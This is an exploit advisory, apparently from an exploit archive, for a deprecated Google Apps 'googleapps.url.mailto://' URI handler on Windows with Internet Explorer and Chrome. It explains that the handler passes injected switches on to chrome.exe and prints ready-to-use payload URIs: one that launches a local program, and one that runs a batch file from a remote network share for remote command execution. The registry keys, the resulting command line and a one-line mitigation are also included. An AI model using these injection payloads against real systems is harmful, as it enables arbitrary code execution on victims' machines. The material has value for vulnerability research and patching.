Google Apps googleapps.url.mailto:// URI Handler Command Execution

`google apps googleapps.url.mailto:// uri handler cross-browser remote command execution exploit (Internet Explorer)  
by nine:situations:group::pyrokinesis  
site: http://retrogod.altervista.org/  
  
software site: http://pack.google.com/intl/it/pack_installer.html  
  
tested against: Internet Explorer 8, windows xp sp3  
Internet Explorer 7, windows xp sp3  
Google Chrome 2.0.172.43  
  
vulnerability:  
through the vulnerable googleapps.url.mailto:// deprecated uri handler, registered as follows:  
  
[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto]  
@="Google Apps URL"  
"EditFlags"=hex:02,00,00,00  
"FriendlyTypeName"="Google Apps URL"  
"URL Protocol"=""  
  
[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\DefaultIcon]  
@="C:\\Programmi\\Google\\Google Apps\\googleapps.exe,0"  
  
[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell]  
  
[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell\open]  
  
[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell\open\command]  
@="C:\\Programmi\\Google\\Google Apps\\googleapps.exe --mailto.google.com=\"%1\""  
  
is possibile, against all versions of Internet Explorer, by injecting the "--domain=" switch  
for the googleapps.exe executable to pass arbitrary switches to the Google Chrome chrome.exe  
executable (which is subsequently launched to open the gmail pages),  
example: the --renderer-path and --no-sandbox switches  
Through them is possible to launch an arbitrary executable from the local system:  
  
  
googleapps.url.mailto://"%20--domain="--what%20--renderer-path=calc%20--no-sandbox%20--x"/  
  
  
or to launch an arbitrary batch file from a remote network share:  
  
  
googleapps.url.mailto://"%20--domain="--x%20--renderer-path=\\192.168.0.1\uncshare\sh.bat%20--no-sandbox%20--x"/  
  
  
the resulting command line for chrome.exe is in this case:  
  
"C:\Programmi\Google\Chrome\Application\chrome.exe" --app=https://mail.google.com/a/--x --renderer-path=\\192.168.0.1\uncshare\sh.bat --no-sandbox  
  
--x//?view=cm&fs=1&to=googleapps.url.mailto%3A%2F%2F&rlz=1R6GPCK_en___IT344  
  
which leverages the remote command execution issue  
  
Mitigation:  
  
unregister the uri handler by deleting the mentioned registry keys  
  
  
  
  
  
  
  
  
`